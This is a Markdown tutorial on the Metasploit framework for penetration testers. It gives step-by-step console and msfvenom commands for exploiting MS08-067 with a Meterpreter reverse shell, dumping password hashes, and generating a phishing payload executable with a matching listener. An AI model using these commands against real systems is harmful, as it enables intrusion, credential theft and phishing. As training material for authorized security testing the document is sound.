# Metsploit

#### Metasploit Framework

**Metasploit** is an open-source penetration testing framework developed by Rapid7. It is widely used for developing and executing exploit code against a remote target machine. The framework provides tools to perform various tasks in penetration testing, such as information gathering, vulnerability scanning, exploitation, and post-exploitation.

#### Key Components of Metasploit

1. **Modules**:
   * **Exploit Modules**: Contains the code to exploit specific vulnerabilities.
   * **Payload Modules**: Includes code that runs on the target machine after exploitation (e.g., reverse shells).
   * **Auxiliary Modules**: Used for scanning, fuzzing, and other non-exploit functionality.
   * **Post Modules**: Used for post-exploitation activities on a compromised system.
   * **Encoders**: Used to encode payloads to avoid detection.
   * **NOPs**: No-operation instructions used to pad out payloads.
2. **Meterpreter**: An advanced, extensible payload that provides an interactive shell for executing commands on the target machine.
3. **Database**: Metasploit integrates with PostgreSQL to store scan results, exploitation attempts, and other data.
4. **Armitage**: A graphical user interface (GUI) for Metasploit, providing visual aids for managing sessions and exploits.

#### Common Use Cases for Metasploit

1. **Vulnerability Scanning and Exploitation**
2. **Information Gathering**
3. **Post-Exploitation**
4. **Social Engineering**
5. **Web Application Testing**
6. **Wireless Attacks**
7. **Password Attacks**
8. **Evasion Techniques**

#### Use Cases with Metasploit

**1. Vulnerability Scanning and Exploitation**

**Example**: Exploiting a known vulnerability in a Windows machine using the `ms08_067_netapi` exploit.

**Steps**:

1.  **Launch Metasploit:**

    ```sh
    msfconsole
    ```
2.  **Search for the exploit:**

    ```sh
    search ms08_067
    ```
3.  **Select the exploit:**

    ```sh
    use exploit/windows/smb/ms08_067_netapi
    ```
4.  **Set the target:**

    ```sh
    set RHOST <target_ip>
    ```
5.  **Set the payload:**

    ```sh
    set payload windows/meterpreter/reverse_tcp
    set LHOST <your_ip>
    set LPORT 4444
    ```
6.  **Run the exploit:**

    ```sh
    exploit
    ```

**2. Information Gathering**

**Example**: Scanning a network for open ports and services.

**Steps**:

1.  **Launch Metasploit:**

    ```sh
    msfconsole
    ```
2.  **Use auxiliary scanner:**

    ```sh
    use auxiliary/scanner/portscan/tcp
    ```
3.  **Set the target range:**

    ```sh
    set RHOSTS 192.168.1.0/24
    ```
4.  **Run the scan:**

    ```sh
    run
    ```

**3. Post-Exploitation**

**Example**: Collecting password hashes from a compromised machine.

**Steps**:

1.  **Exploit the target and get a Meterpreter session:**

    ```sh
    exploit
    ```
2.  **Dump password hashes:**

    ```sh
    meterpreter > hashdump
    ```

**4. Social Engineering**

**Example**: Creating a malicious payload for a phishing campaign.

**Steps**:

1.  **Generate the payload:**

    ```sh
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe > payload.exe
    ```
2.  **Set up a listener:**

    ```sh
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST <your_ip>
    set LPORT 4444
    exploit
    ```

#### Detailed Metasploit Options

**msfconsole**

**Basic Commands:**

* `search <term>`: Search for exploits, payloads, and other modules.
* `use <module_path>`: Load a specific module.
* `show options`: Display options for the current module.
* `set <option> <value>`: Set a specific option value.
* `exploit`: Run the selected exploit module.
* `run`: Run the selected auxiliary module.
* `sessions -i <id>`: Interact with a specific session.

**msfvenom**

**Usage:**

* `-p <payload>`: Specify the payload to use.
* `LHOST=<your_ip>`: Set the local host IP.
* `LPORT=<your_port>`: Set the local port.
* `-f <format>`: Specify the output format (e.g., exe, elf, raw).
* `-o <output_file>`: Specify the output file name.

**Example:**

```sh
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe
```

#### References

1. **Metasploit Documentation**: [Metasploit Docs](https://docs.rapid7.com/metasploit/)
2. **Metasploit Unleashed (Offensive Security)**: [Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/)
3. **Metasploit GitHub Repository**: [Metasploit GitHub](https://github.com/rapid7/metasploit-framework)
4. **Exploit Database**: [Exploit DB](https://www.exploit-db.com/)

By leveraging Metasploit's powerful capabilities, penetration testers can identify and exploit vulnerabilities, gather crucial information, and perform detailed post-exploitation tasks to assess and improve the security posture of an organization.
